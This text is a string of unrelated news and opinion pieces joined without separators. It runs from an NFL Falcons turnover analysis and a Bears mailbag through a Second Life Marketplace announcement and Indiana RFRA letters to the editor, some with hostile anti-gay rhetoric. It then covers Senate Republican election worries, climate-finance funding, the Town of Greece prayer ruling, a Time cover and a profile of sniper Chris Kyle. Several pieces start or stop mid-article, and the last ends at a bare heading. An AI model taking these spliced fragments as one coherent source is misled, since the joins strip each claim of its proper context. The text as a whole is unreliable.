And in Atlanta’s other two losses—home to Tampa Bay and at New Orleans—turnovers decided the outcome. Against Tampa, the Falcons lost three fumbles, two in scoring position. They lost a pair of fumbles in scoring position against the Saints, as well. Some of the problems were tied to bad exchanges, QB-center or QB-running back.
Every coach hates losing fumbles. Yes, you lose your chance to score while giving your opponent getting an additional chance to do so, and you put yourself on the wrong end of a field position swing. But fumbles are rarely indicative of larger problems. As Football Outsiders has tracked over the years, fumbles are notoriously fickle, their recovery being almost a pure 50/50 proposition.
Interceptions are a somewhat different story. The two against Indy were cases of the defense playing well (though Ryan, a vested veteran, would probably tell you he should have read the field a little clearer). But picks were a problem in the Stage 2 Falcons’ lone victory, at Tennessee, which is why the score was only 10-7. Of course, the same could be said on the Titans’ end, too; if not for Mettenberger’s interceptions, in the first half and on the final drive, you’d probably be reading about a winless Stage 2 Falcons club.
Both of Ryan’s interceptions at Tennessee stemmed from the Falcons getting out-schemed and therefore out-executed. On one of them, outside linebacker David Bass was able to snag a screen pass because there was no other receiver or deception element to threaten his area. On the other, the Titans had a great feel for the Falcons’ red zone play-action designs and stifled Ryan’s targets, leading to a deflected pass that was picked off. But remember, neither of these turnovers contributed to a Falcons loss. Aside from yesterday, Ryan’s only other pick during his team’s five-game slump was to Bucs linebacker Kwon Alexander. That one was, however, a perplexing forced ball into crowded zone coverage.
• DEVONTA FREEMAN HAS THE GRIT TO TAKE ON THE WORLD: The breakout star is studying every angle.
The greater point is that the Falcons have beaten themselves with random fumbles and a few interceptions, of which only one was a truly bad offensive play. Ryan, cerebral as he is, has always had a slight tendency to take the bait and make a foolish throw or two into disguised or tight coverages. But interceptions have never been a major bugaboo. So unless you believe this will change in the final six games of Ryan’s eighth NFL season, there’s little reason to believe turnovers will continue to plague Atlanta.
Defensively, the Stage 2 Falcons are actually allowing just 20.4 points per game—two fewer points than the Stage 1 Falcons gave up. They’ve forced just two fewer meaningful turnovers (meaningful being anything that wasn’t in garbage time). Surely, Dan Quinn would like to see more firepower from his pass rush—particularly first-round rookie end Vic Beasley, who right now is an explosive athlete with almost no sense for how to play—but the rest of his defense, particularly corner Desmond Trufant and the secondary, has been stellar if not spectacular. Quinn has created an array of personnel packages, allowing a unit that got lighter and faster over the offseason to stay fresh for all four quarters.
Most likely, Atlanta’s fate hinges on how well its offense functions. Aside from having limitations at wide receiver opposite Julio Jones (BREAKING: Leonard Hankerson just dropped another pass… and Roddy White is still missing), the Falcons are a difficult offense to play against. Coordinator Kyle Shanahan has built a shrewd passing attack out of run personnel and formations, making this one of the most lethal and unpredictable play-action teams in the league. Ryan has maintained the mobility he discovered a year ago, lending that much more dimension to Shanahan’s moving pockets and zone-run concepts.
Combine the Stage 1 Falcons with the Stage 2 Falcons and what you’ll likely get is a Stage 3 Falcons club that finishes 10-6 and is a dangerous Wild-Card foe.
Any word on Taquan Mizzell getting caught up/involved in games soon? Kinda excited about him. -- @HoplitePhalanx Running back has not been one of the Bears’ issues through the first four games with Jordan Howard and Tarik Cohen both playing well. The Bears like Benny Cunningham as an option on third down and that’s going to make it difficult for Mizzell to find a spot right now. Some have suggested he could help with wide receiver issues and multiple people have asked about Mizzell. He might need to wait until they have some injury issues at running back to get a chance. I know this: If Mizzell started getting snaps it wouldn’t be long until I was getting questions about why Howard and Cohen are not on the field more. How much do you see the play calling changing now that Mitch Trubisky is starting? -- @steveoatms I imagine we will see some significant differences in play calling by offensive coordinator Dowell Loggains on Monday night against the Vikings. Trubisky has a very different skill set than Mike Glennon and that’s going to allow Loggains to change things up and add more bootlegs, rollouts, sprint outs and such to the game plan. The Bears will also likely incorporate some zone read plays and run/pass options that should make things easier for Trubisky and open up some holes in the running and passing games. Beyond that, Trubisky has the ability to extend plays with his athletic ability and that will certainly look different. Did the success of Deshaun Watson and lack of success of Mike Glennon force Ryan Pace’s hand about Mitch Trubisky’s development? -- @omcurban The struggles of the offense with Glennon, and remember it’s been a collective failure by the offense through four games, contributed to the move. I don’t think Watson’s emergence with the Texans had anything to do with it. The Bears need to make decisions based on what is happening in their building and not elsewhere. If Glennon and the offense had played well, there’s no doubt in my mind that Trubisky would still be biding his time on the sideline. Should the Bears consider picking up Cairo Santos when he is healthy? -- @Rradulski The Chiefs placed Santos, who made 31 of 35 field goals last season (88.6 percent) and is 89 for 105 in his career, on injured reserve last week with a groin issue and then the club waived him from IR. Santos dealt with a groin injury over the summer and then it flared up again, forcing Kansas City to make a move. Groin injuries can be very tricky for kickers and Santos needs to get healthy before he can help the Bears or anyone else. Some have wondered if he could potentially return to Kansas City later in the season if replacement Harrison Butker struggles. I know special teams coordinators are going to be concerned if a kicker has a core injury or a leg injury. It could be Santos needs the remainder of the football season to heal up. When he’s ready to go, he certainly should be able to find work. We were led to believe this was a top-10 defense in the making. What the heck has happened? -- @mike_barbacovi I don’t think quite everyone had the Bears pegged to become a top-10 defense this season but that is precisely where the Bears are in some rankings right now. It depends on what metrics you want to use to evaluate defense while keeping mind they have played four pretty darn good offenses to start the season and that is no doubt a factor. At this early juncture, the Bears rank 27th in points (26.0), eighth in yards (306.3), 15th vs. the pass (220.8), sixth vs. the run (85.5), tied for 20th in sacks (9), 30th on third down (47.1 percent) and tied for 23rd in takeways (3). I’d say the most impressive statistic so far has been the defense’s ability to stop the run. The Bears were particularly stout in the victory over the Steelers and also held up quite well against the Falcons in the opener. The Buccaneers and Packers weren’t as interested in running the ball. To be an elite defense, the Bears are going to have to be better at rushing the passer and they’re also going to need to generate more takeaways. I am sure defensive coordinator Vic Fangio is concerned with the ability to get off the field on third down right now too. That figure has to improve. The Packers scored 35 points last week and took advantage of some short fields in the process. The defense needs to limit the opponent to field goals in some of those instances. We should have a better picture of what the Bears are on defense at the halfway point of the season. I know he is looking for his third team in three seasons but with the Bears current state of affairs at receiver why haven't they brought in Dorial Green-Beckham for a workout? He was a second-round pick two years ago. Yes, he has questionable work ethic, but he is 6-foot-5 and still has potential and talent. Don't you think he is worth the risk, especially after the Bears passed on claiming Jalen Strong a few weeks back? Wouldn't this also fall under the multiple swings at a position of need like Ryan Pace did at QB this season? How many more dropped Josh Bellamy passes do we need to see? -- Brian, Savage, Minn. I’ve answered questions about Green-Beckham in the past and you’re talking about a player with physical ability and extra baggage. Green-Beckham was in a position to shine with the Eagles last season, a team that was desperate for help at the position and he produced 36 receptions for 392 yards and two touchdowns. Philadelphia waived him on June 30, a little less than a year after the Titans dumped the former second-round pick in a trade. Green-Beckham is a terrific athlete but he’s been far from a terrific football player and scouts I have talked to point to multiple issues, including questionable football character. Yes, the Bears are in need up upgrades at the wide receiver position but reality is there isn’t a lot out there and Green-Beckham has remained on the street for a reason.
As of this morning, we have added several new categories to the Marketplace. Many have been requested by Merchants, and some have been added to split up very large existing categories. We’ve also created a category to support the next banner promotion.
Next Banner Promotion
The next banner promotion is for the theme “Masquerade”, which could be the following:
Costumes/masks for avatars
Avatars that may be considered “dress up” avatars
Decorations to support a Masquerade themed event
Other items related to a Masquerade themed event
If you would like to add listings to this promotion, please move them to the Celebrations/Masquerade category. We plan to launch the banner the week of May 21.
New Categories on the Marketplace
Here is a complete list of all the new categories:
Under Animals Breedable Pets/Breedable Cats Breedable Pets/Breedable Dogs Breedable Pets/Breedable Horses Livestock Reptiles Rodents
Under Avatar Accessories Neckties
Under Building Components Mesh Creator Tools Structures/Commercial/Office Buildings Structures/Commercial/Bars & Restaurants Structures/Residential/Single Family Houses Structures/Residential/Multi Family Buildings Structures/Other Structures/Off Sim Builds Structures/Other Structures/Photography Studios
Under Celebrations Masquerade
Under Recreation & Entertainment Sporting Goods/Camping Equipment Sporting Goods/Fishing Equipment
We’ll continue to take additional category recommendations. Please add suggestions as comments to this public JIRA: WEB-2896.
[Edited May 18, 2012 to remove Meeroos from Breedable Pets and added Breedable Cats, Breedable Dogs, and Breedable Horses to this category.]
The full announcement is available here, and is open to comments and discussion.
With thanks to Tatiana Dokuchic for pointing me to the forum announcement.
Anti-religious right crowd and fad-driven pandering
The Religious Freedom Restoration Act is essential for protecting the conscience rights of those opposed to same-sex relationships and our ability to participate in public debate. Contrary to the victim mythology promoted by same-sex activists, they seek to forcibly impose their consciously chosen lifestyles on everyone at any cost. This is done with bullying tactics which would receive the approval of ISIS. These tactics have also been aided and abetted by popular culture, the media, educational institutions, courts, governments morally compromised religious institutions.
It has occurred in cases involving Barronelle Stutzman in Washington, Elaine Huguenin in New Mexico, Crystal Dixon in Ohio, and Jennifer Keaton in Georgia. Claims that this legislation will injure Indiana’s economic climate or that of other states passing similar legislation are completely fraudulent. If true, this “injury” would have received saturation media coverage and been the subject of congressional and legislative committee investigations.
Hoosiers are capable of making sound public policy decisions without the militantly secularist bleatings of Apple CEO Tim Cook, Hollywood celebrities, and short-term popularity driven Indiana organizations such as Cummins, Eli Lilly, Emmis Communications and Angie’s List, which have lost their moral compass in pursuit of ephemeral, fad-driven pandering and appeasing group identity political proponents.
Bert Chapman
Lafayette
Gov. Pence, it’s time to just say, ‘My bad’
Dear Gov. Mike Pence, though I agree with you on few topics, I feel compelled to help you out of this mess you’ve gotten yourself, and your state, into. First: Admit you screwed up.
What you fail to understand is you can defend legislation by focusing on what you think are the favorable aspects of it. Instead, perhaps you should be looking at what this legislation represents at its worst, which is what everyone else in the country is doing. Its like touting a car you are selling for its good gas mileage and failing to mention the motor is missing.
You have two options. Kill this bill, let your ego take a beating for “Team Indiana,” and just admit it wasn’t well thought out. Your bad. Or do what everyone fears you will do and keep trying to sell this bad idea, and represent yourself and your state as the slack-jawed, prejudiced, backward folk this bill makes us look like.
David Cress
Lafayette
Take it as one man’s opinion on religious freedom
I consider myself a Christian. It is not something I can prove; it is something I believe. I believe in a book that inspires my choices on how I live my life, not to tell others how to live theirs. It serves as a model on how to be a servant to all mankind, the tax collector and the Samaritan alike.
My faith leads me to believe that God created a person, not Senate Bill 101, Section 7. As used in this chapter of the Religious Freedom Restoration Act, “person” includes the following: A partnership, a limited liability company, a corporation, a company, a firm, a society, a joint-stock company, an unincorporated association, or another entity that: (A) may sue and be sued ...
My faith guides me to accept all people as they are and to understand that my beliefs may be wrong, so try to stay humble in its application to others and respectful of their beliefs.
The point of this letter is to share with my representatives that our constitutionally protected freedom of religion is designed to include and respect all persons of all faiths or the lack thereof, and not to create an avenue to disenfranchise or discriminate against a person because they do not share the same belief or live a lifestyle different from our own.
I respectfully oppose SB 101, the Religious Freedom Restoration Act, because it does not protect the individual from religious intolerance; it creates an avenue to impose religious intolerance on others.
Mike French
West Lafayette
Other religious counsel on a religious freedom law
Recently a Lafayette pastor stated his support for the so-called Religious Freedom Restoration Act (Journal & Courier, March 26), but I’ll take my leadership from Dr. R. Scott Colglazier, a nationally known Christian leader, who wrote: “Human Rights: Religious Beliefs.”
“How sad it is when human rights are diminished in the name of religious beliefs. If, for example, we believe that Jesus calls people to love their neighbors as themselves, and if Jesus believed in welcoming the stranger, and if Jesus was about affirming the value of all human beings — men, women and children — and if Jesus believed in reaching out to the poor and called his followers to do the same, and if Jesus believed that, in the end, what makes us whole human beings is not personal achievement but God’s infinite goodness and grace, then why wouldn’t people of faith always (not sometimes) but always be on the leading edge of human rights? Right now in my home state of Indiana, the state legislature and governor (have promulgated a law), under the guise of ‘religious freedom’… that states (I’m summarizing) that if a person has a business, he or she does not have to transact business with a gay or lesbian person, because it could violate a person’s religious belief. From my perspective, there’s only one thing worse than discrimination, it’s discrimination in the name of God. Take a breath today. And if you’re so inclined, say a little prayer for the Hoosier State. After all, shouldn’t religious freedom be used to accept and not reject our neighbors?”
Richard Nelson
West Lafayette
Don’t buy that they didn’t see this coming
I’m sorry, Sen. Ron Alting and Rep. Randy Truitt, but I have to suspend belief to accept that you couldn’t see that Religious Freedom Restoration Act is primarily about some Hoosiers being legally able to discriminate against other Hoosiers who happen to be gay or lesbian.
First, this new Indiana law was written differently from the federal law and virtually all other similar state. Others knew that (besides the crafters of the bill).
Second, didn’t you know who were the real driving forces behind this law? Was it the “progressives” that a Lafayette pastor has disdainfully written about in the J&C — or the right-wing, fundamentalist, anti-gay crowd? Well, just take a look at who the governor invited to the private signing ceremony. (And, if this law was something truly needed and that which Indiana could be proud of, why was the ceremony private?)
Didn’t you know that the (oh-so-far-left) Chamber of Commerce and others in the business community came out against the law’s passage? And various religious leaders and churches?
Pure and simple, this was a law promoted to allow certain discrimination, not to protect from discrimination. This was so obvious.
This is not now an issue about dealing with the blowback (“it’s something we didn’t anticipate”), but about why there wasn’t previously a willingness to read where this was clearly coming from, understanding key differences in the proposed law and why so many, from varied streams, opposed it.
Douglas Paprocki
Lafayette
Big businesses boycotting RFRA should read that letter
To all the CEOs and leaders of big companies in Indiana protesting the passage of the Religious Freedom Restoration Act by threats of withdrawing their money making opportunities from Indiana, you need to read the letter to the editor from a young West Lafayette writer (“Don’t contribute to the problem with #boycottindiana,” J&C, March 31) to see the reality of what you are threatening.
This girl has more wisdom than all of you put together. You are making this about money. She is making it about saving the gay community. Read it and learn.
Chloe Harshman
Lafayette
Knew it was going to be bad under Gov. Pence
Looks like Gov. Mike Pence and his legislative buddies really stepped in something this time. I said that Pence would make former Gov. Mitch Daniels look like a liberal. I really was disappointed with the last election that gave conservatives a supermajority in the Indiana House. Big mistake. Team that with a tea party-supporting governor, and you have a recipe for stupid stuff. Need I say more?
Roger Daugherty
Flora
Stand your ground for Indiana’s religious freedom
According to the Centers for Disease Control and Prevention’s National Health Statistics Report dated July 15, 2014, “96.6 percent of adults identified as straight, 1.6 percent identified as gay or lesbian, and 0.7 percent identified as bisexual. The remaining 1.1 percent of adults identified as ‘something else.’” Regardless of where the data comes from, the number of homosexual, bisexual or “other” never exceeds 4 percent of the total population in the U.S. So we can easily say 96 percent of the population of the U.S. is heterosexual.
So then why are we subjected, on a daily basis, to news stories about gay and lesbian rights, accomplishments, marriage or any number of other things about homosexuality? A woman wrote in a few weeks ago stating that perhaps supporters of the Religious Freedom Restoration Act recently passed and signed into law should wear “yellow armbands” like the Jews were forced to wear in Nazi Germany, and even suggested there was a “propaganda machine” pushing this legislation that the Nazi Reich minister of propaganda would “be proud of.”
I would suggest that if less than 4 percent of the population can bully (that’s right, I said, bully) the other 96 percent of the population using the mass media, then it is that small percentage that has the overwhelmingly excellent propaganda machine and have used it exceedingly well.
All we have is a tempest in a teapot. Stand your ground, Hoosiers. Soon the rabble rousers will shine their spotlight somewhere else. I love irrefutable statistics.
Brian Ruby
Camden
Why are we legislating religious freedom?
Our country was founded on the principle of religious freedom. Why are we legislating that?
Do unto others.
Sharon White
West Lafayette
Don’t use us as an excuse on adoption records
We are birth mothers from Indiana who relinquished our children during the state’s “closed records period.” We are writing to say just how disappointed we are that our governor’s office and some of our state legislators are using birth parents as an excuse not to pass Senate Bill 352, which would open access to birth records for adoptees.
It just goes to show how little they understand us. When we relinquished our children, we signed a document which simply said we gave up my legal right to be our children’s parents. In the closed records period from 1941 to 1993, “open” adoptions were never discussed, because they weren’t allowed. I think most of us would have loved the option for our children, if they wanted to, to contact us when they were adults.
This is what the governor is forgetting. By making it so incredibly difficult for our children to find us, he is keeping us hidden in the shadows, still.
The governor’s office testified against this bill, saying there was a “silent majority” of birth parents too afraid to come forward. Birth parents overwhelmingly want this bill. You need only look to the states where open access bills have passed and see how many birth parents exercised their rights to come forward to sign a “do not contact” form — an average of one out of every 1,429 birth parents. The silent majority is silent because it doesn’t exist.
It’s time to move SB 352 forward.
Eileen Drennen and Robin Lynn Schneidt
Lafayette
(also signed by nine other Indiana birth mothers)
Screening for autism is key between 18 and 24 months
Autism spectrum disorder affects about one in 88 children in the U.S., according to the Centers for Disease Control and Prevention. Autism is about four times more likely to occur in boys than girls. Currently, scientists do not know the cause of autism.
April is Autism Awareness Month. Autism spectrum disorder is a neurological and developmental disorder that usually appears during the first three years of life. Autistic children often have communication and social development problems, as well as rejecting physical contact.
Identifying autism at an early age provides the most time for effective treatment options. The American Academy of Pediatrics recommends that all children should be screened for autism spectrum disorders at the age of 18 months and 24 months. Children should be screened even if they are not currently demonstrating autism symptoms.
Treatment for autism spectrum disorders includes specialized behavioral and educational programs. These programs help teach social, motor and thinking skills. Treatment plans are developed for each child depending on his or her age, health, extent of the disorder and the parent’s preference.
Because no cause has been identified, there are no preventative measures that will lower the risk for developing an autistic disorder. If your child is exhibiting any symptoms of autism, talk to your physician. They can recommend the appropriate next steps including screening your child for autism.
Anne Marie Bianculli, MD
pediatrics, Riley Physicians, Lafayette
Let court know that we won’t stand for animal abuse
Please circle April 7, at 9:30 a.m., Superior Court 6, first floor, Tippecanoe County Courthouse, as a time and place where you want to be.
That is the date when Randy Sanders will appear for his hearing to answer charges of chronic cruelty and outrageous abuse of the seven border collies rescued from his property recently. Tippecanoe County attorney Doug Masson stated to the Journal & Courier after the rescue, “We’re asking to have those seven dogs that were seized permanently removed from him and additional relief in preventing him from having dogs on the property in the future.” A county ordinance passed last December gives the county greater latitude to punish Sanders and those like him. He also owes nearly $25,000 in fines from the previous violations of inhumane conditions, which he has also ignored.
We need strong state laws to include jail time for him and his ilk. Illinois has what is considered a “model law” outlining definitions of levels of abuse and jail time up to five years plus stiff fines. Please contact your legislators to enact similar laws so we can punish those who abuse helpless animals. As a first step, please join me at the hearing April 7, and let the judge know by our presence that we support legally severe punishment of Sanders and those like him.
Shirley Chapman
West Lafayette
What you need to do before going with charter school
Before enrolling your child in a charter school consider:
• Are corporations’ bottom line the public, children’s interests or making money?
• Have charters proven better than public schools?
• Do experts in education wholeheartedly endorse charters? If not, why not? Who is best qualified to understand your child’s education, educators and scholars who have studied assiduously for years the many aspects of education or politicians and corporate CEOs? Why are professional teachers quitting, college enrollment for prospective teachers decimated?
• Can you trust politicians who circumvent a duly elected superintendent garnering more votes than the circumventing governor emulating the policies of a disgraced Tony Bennett?
• Do you wish to promote political policies which interfere in public education, destroying public schools?
• Do you believe that teachers who may not have been thoroughly trained to teach in its many aspects, licensed by the state, often with minimal training will give superior education to those who have?
• Does an education that prepares your child as a widget for millionaire CEOs better than education that strives preparing children for a democratic society, develops their human potential while preparing them for the workplace? Compare public schools with corporate mentality.
• Do you care enough about the future of your child to educate yourself? Or do you take at face value propaganda demonizing our public schools, which have arguably made this nation great?
Begin by familiarizing yourself with Diane Ravitch. Read her blog. Study the impeccable research of “Reign of Error.” Find and study other educational experts. Then decide.
Gordon Wilder
Highland
Your turn
Submit letters to the editor of 250 words or fewer to editor@jconline.com or to 217 N. Sixth St., Lafayette, IN 47901. Please include your name, town and phone number, for confirmation purposes.
They're called Senate Republicans.
While Johnson says he plans to run his own race, other Republicans despair of Trump's ability to win a general election, and fear that such a campaign will drag down enough GOP senators to cost the party control of the U.S. Senate.
"I'm not a political pundit," Johnson said Sunday before a Lincoln Day brunch of Republicans from Fond du Lac and Calumet County. "I'm honestly not that concerned about it."
Others are.
Scott Page, the owner of a downtown Fond du Lac bakery that received a visit from Johnson earlier in the day, said both Trump and Ted Cruz, his rival in Tuesday's Wisconsin primary, would hurt Johnson and other down-ballot Republicans in the fall.
Cruz is "ultra, ultra conservative" and Trump engages in "crazy talk" about world affairs, Page said as customers perused apple fritters and root beer float cupcakes at the Mix It Up Bakery. "They're not helping the Republican Party's cause."
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Saying he plans to vote for Ohio Gov. John Kasich, Page said, "this is the strangest election I've ever seen."
The Republican presidential race will likely influence GOP efforts to retain a Senate majority that currently numbers 54 of the chamber's 100 members. They already face a challenging political environment with respect to the Senate: 24 GOP seats are up in November, compared to only 10 Democratic ones.
Some of the Republican senators seeking re-election are running in politically competitive states — such as Johnson.
Johnson, a businessman who rode a conservative wave to a 2010 victory over incumbent Sen. Russ Feingold, will face Feingold again this November.
"It's one of the top races in the country," said Jeff Mayers, president of the website WisPolitics.com. "Ron Johnson is viewed as one of the most vulnerable Republicans."
Some Democrats are certainly looking forward to the prospect of a Trump candidacy, figuring his lack of popularity with women, Hispanics, and other large segments of the population will help Democrats up and down the ballot. During a weekend Founders Day dinner for the Democratic Party of Wisconsin, speaker after speaker hammered Trump as well as Johnson.
Johnson, who ran as a political outsider six years ago and plans to do so again this year, said he understands Trump's appeal to voters who are angry with "the incompetence" of the government and the poor performance of career politicians.
"I'm focusing on what I can control," he said. "My own words; my own actions."
Johnson has not endorsed any of the GOP presidential candidates, and added: "Regardless who the Republican candidate is, my intention is to support that person."
In addition to Johnson, any list of vulnerable Senate Republican incumbents includes Rob Portman of Ohio, Mark Kirk of Illinois, Kelly Ayotte of New Hampshire, and Pat Toomey of Pennsylvania. Democrat are also looking at once-considered-safe Republican senators such as John McCain of Arizona, Richard Burr of North Carolina, and Charles Grassley of Iowa.
"If it's Trump [as the nominee], my list gets a lot longer," said Jennifer Duffy, senior editor with the Washington-based Cook Political Report.
Some Republicans are trying to keep Trump from being their nominee, if only to protect their Senate and House majorities. Anti-Trump groups hope Wisconsin can change the trajectory of the race.
Cruz, the Texas senator, has pulled ahead of the New York businessman in many statewide polls. Anti-Trump forces hope a big loss in the Badger State will start a trend that will end in Trump being denied the necessary majority of delegates to win on the first ballot at the Republican National Convention in July. That would then throw the convention to open to another possible nominee.
The July 19-21 convention in Cleveland three-and-a-half months from now is a "lifetime" in politics in which anything can happen, Johnson said. "Nobody can predict exactly what is going to happen here," he said.
Although he's not on the ballot this November, Wisconsin Gov. Scott Walker, who dropped out of the Republican race for president last year, is also concerned about the Trump effect. Walker endorsed Cruz last week, said Trump's potential effect on Johnson "raises some concerns,but again I've tried to stay focused on what I'm for, not who I'm against."
Despite their success in state races, Republicans have not carried Wisconsin in a presidential race since 1984, when President Ronald Reagan won it as part of his 49-state landslide over Walter Mondale.
Trump and his supporters say his candidacy can help Republican senators and other candidates by bringing blue-collar workers and other new voters into the party, giving it a chance to win in tough Midwest states like Pennsylvania, Ohio, and Wisconsin.
"Of the three candidates in the race, Trump has the best chance of winning Wisconsin," said Robert Kasten, a Republican two-term former senator from Wisconsin who spoke after Johnson at the Republican brunch in Fond du Lac. "Trump has an upside."
As in other Senate elections, local factors will also decide what happens in Wisconsin.
Johnson figures to benefit from the turnout machine built by Walker and his associates, analysts said. Johnson defeated Feingold six years ago, and has the resources to do so again.
Duffy, with The Cook Political Report, said there's simply no precedent for a nominee like Trump, a billionaire businessman with no experience in public office.
While announcing his determination to withdraw the United States from the Paris agreement on climate change, Donald Trump was lamenting that American funds had been committed to help developing countries mitigate and adapt to the impacts of a warming planet.
'Yet another scheme to redistribute wealth out of the United States through the so-called Green Climate Fund' - Donald Trump, U.S. president
​"Beyond the severe energy restrictions inflicted by the Paris Accord, it includes yet another scheme to redistribute wealth out of the United States through the so-called Green Climate Fund — nice name — which calls for developed countries to send $100 billion to developing countries all on top of America's existing and massive foreign aid payments," he explained.
Trump's announcement that he intends to pull the U.S. out of the Paris climate accord did not sit well globally, and even drew criticism from former president Obama. 2:15 The recent U.S. commitment to international climate financing has been approximately $2.7 billion US per year. To the Green Climate Fund specifically, Barack Obama's administration had promised $3 billion. (Trump was conflating a general commitment by developed nations to raise $100 billion US and the Green Climate Fund, which is a specific initiative within that commitment.)
Canada's pledge to climate finance stands at $2.65 billion Cdn over the next five years. And though Conservative MPs voted last week to endorse the Paris Accord, Conservatives have similarly grumbled about the expense.
"The bottom line is the government is nickel-and-diming Canadians to death to pay for the prime minister's out-of-control spending on his own vanity projects, like the $2.65 billion he spent on environmental projects outside of our country when the money could and should have stayed in Canada," Ed Fast, the Conservative environment critic, told the House of Commons in May.
Fast has repeatedlyquestioned the $2.65-billion commitment. Maxime Bernier criticized it during his leadership campaign as part of a promise to reevaluate all foreign aid.
But to paraphrase one analyst, however much that money might flatter the prime minister's sense of self-worth, there is a decent case to be made for the spending.
The moral case for climate aid
The $100-billion goal — a compromise from suggestions that developing nations required or deserved much more — emerged during negotiation of the Copenhagen Accord in 2009.
That amount can be justified as a matter of fairness and moral responsibility.
President Donald Trump's decision to withdraw from the Paris accord hasn't deterred Canada, which is working with local and global partners to deal with climate change 2:08 "If all we say to these countries is that they cannot copy what we have done ourselves — when our development history has given us great prosperity while giving them many of its environmental costs — there can be no reasonable dialogue on which to build a shared future," former British prime minister Gordon Brown said in pitching the $100-billion target.
Over the last two centuries, the world's richest nations powered their economic growth by burning fossil fuels, producing the vast majority of historic emissions that are now contributing to climate change. As Dale Marshall of Environmental Defence puts it, the developed countries filled up more than their fair share of the planet's atmospheric space.
Meanwhile, the poorer developing nations, while being asked to forgo those energy sources, are now expected to suffer disproportionately from the droughts, flooding and other impacts of global warming.
"Developed countries are ... morally obliged to pay partial compensation to poor and vulnerable countries," Meles Zenawi, the former prime minister of Ethiopia, argued in 2009.
The economic and security case for helping
But when the U.S. Treasury department asked Congress to continue supporting the Green Climate Fund this year, it offered practical arguments.
Such funding, the department reported, "advances U.S. interests" in several key areas.
By improving the resilience of vulnerable nations, funding would reduce the likelihood of civil unrest and strife, thus contributing to national and international security. And, in addition to helping to reduce global emissions, financial assistance can develop new markets, reduce the risk of economic shocks from extreme weather and change, and support the expansion of American businesses.
In an analysis published by the Brookings Institution in February, Timmons Roberts and Caroline Jones argued that withdrawing funding could reduce U.S. influence internationally. "To renege on our commitments to climate finance made in support of the Paris Agreement would weaken America's ability to muster enthusiastic support on important international policies we might care about," the two researchers wrote.
Jonathan Pershing, former U.S. Special Envoy for Climate Change, says Trump isn't looking at the facts, and he’s sorry the American Administration has chosen a different path 5:49
Canada's climate finance didn't start with Trudeau
The $100 billion in annual funding is to be provided by both governments and the private sector and can come in the form of loans, grants or insurance. The current Canadian commitment is being divvied up across a number of initiatives, including $300 million for the Green Climate Fund.
But Canada was involved in such aid long before Justin Trudeau was anywhere near the Prime Minister's Office.
Fast, a minister in that government, has worried that there will not be enough accountability for how the Trudeau government's commitment will be used, though officials tried to reassure him during committee hearings earlier this year. Canada's current commitments are broadly defined, but the federal government has mapped and detailed previous recipients.
Trump ventured that "nobody even knows where the money is going to," but the Green Climate Fund's website details each of the 43 initiatives that have so far been funded. A project to deal with groundwater and irrigation in a tribal area of India received $166 million. A hydropower facility was installed in the Solomon Islands for $233 million.
Environmentalists also have questions about how the money will be used and other analysts have argued that the tracking of funds needs to improve, but without saying that climate financing is an unworthy pursuit.
Of course, transparency and accountability are expected whenever public funds are spent.
In May, the conservative justices of the Supreme Court ruled in Town of Greece v. Galloway that the prayer offered before this town's meetings was permissible under the First Amendment -- despite the fact that "the invocations given ... were predominantly sectarian in content," which "repeatedly invoked a single religion's beliefs," as Justice Elena Kagan explained in her dissent. Yet the majority found this apparent preference for Christian prayers constitutionally acceptable because the town assured the Court "that a minister or layperson of any persuasion, including an atheist, could give the invocation." It was this claim that the prayer policy was non-discriminatory and would allow non-Christians to participate that the Court, as well as right-wing media outlets, relied upon.
After the decision, Washington Post columnist George Will attacked the Jewish and atheist plaintiffs who challenged the town's prayer policy, calling them "prickly plaintiffs" and "flimsy people" who were "theatrically offended" over nothing more than "brief and mild occasional expressions of religiosity." The Wall Street Journal also celebrated the conservative decision in Town of Greece, and specifically hailed the inclusivity the town of Greece had told the Court it practiced:
The town of Greece used mostly Christian prayers because its citizens are predominantly Christian. Yet when rabbis and clerics of other faiths asked to give the prayer, they were welcome. Even a Wiccan priestess was allowed to issue what we suppose was an anti-prayer. Council members and visitors were under no obligation to pray along and there was no evidence of punishment or even disapproval for anyone who didn't.
Both Will and the Journal ignored the fact that town officials extended those invitations to non-Christians only after the lawsuit was filed.
It shows the front entrance of the White House on one side and the Kremlin’s ornate towers rising on the other in vivid red.
The cover comes as the Department of Justice on Wednesday announced the naming of former FBI Director Robert Mueller as special counsel to investigate Russian interference in the 2016 presidential election and whether members of the Trump campaign cooperated with Moscow.
The Time cover illustrates its top story looking into the beleaguered Trump White House as it reacts to the numerous scandals involving Russia.
Last week, Trump shared classified information about an Islamic State plot with Russian Foreign Minister Sergei Lavrov and Ambassador Sergey Kislyak during a White House visit.
The meeting came a day after he fired former FBI Director James Comey, who was investing Russian involvement in the election and any connection to the Trump campaign.
Along with the FBI, two congressional panels are also looking into Russian meddling in the election.
While Time magazine has gone after Trump before — showing him sitting in the White House during a storm in February and melting down in October 2016 — it also named him its 2016 Person of the Year.
Served four tours of duty in Iraq, where he gained the nickname 'The Devil of Ramadi' from insurgents
Longest shot was a 2,100-yard strike against a man armed with a rocket launcher
Prefers a bolt-action .300 Winchester Magnum custom sniper rifle
Left the Navy after 10 years to 'save his marriage'
Chris Kyle hesitated the first time he killed a person at long range with a rifle. It was a woman who was about to attack a group of US Marines with a hand grenade.
The US Navy SEAL was overlooking an Iraqi town from a shabby building as US forces were still invading the country, before Saddam Hussein had been ousted. The Marines didn't see the woman coming.
'Take a shot,' Mr Kyle's chief told him.
Mr Kyle stammered: 'But...'
'Shoot!' the chief told him again.
Making the shot: Chris Kyle takes aim from on top of an overturned crib during the Second Battle of Fallujah
Four tours: During his time in Iraq, he gained infamy among the insurgents, who nicknamed him 'the Devil of Ramadi' and put a $20,000 price on his head
When Mr Kyle finally pulled the trigger, the woman dropped the grenade. He shot her again as it exploded.
But after four deployments to Iraq, he learned to stop hesitating and start shooting straight.
With 255 kills, 160 of them officially confirmed by the Pentagon, the retired Navy Seal sniper is the deadliest marksman in US military history.
During the Second Battle of Fallujah alone, when US Marines fought running battles in the streets with several thousand insurgents, he killed 40 people.
His feat blows away the previous American record of 109, set by Army Staff Sgt. Adelbert F. Waldron during the Vietnam war.
Carlos Hathcock, the famed Marine sniper who was the subject of the book 'One Shot, One Kill,' killed 93 people as a long-range sniper in Vietnam.
Telling his story: Mr Kyle (left) has just written a book about his experiences in Iraq called 'American Sniper.' It will hit bookshelves Tuesday
Despite the incredible number, Mr Kyle is still far from being the deadliest marksman in the world. That distinction goes to Simo Häyhä, a Finnish soldier who killed 542 Soviet soldiers during World War II.
DEADLY HALL OF FAME
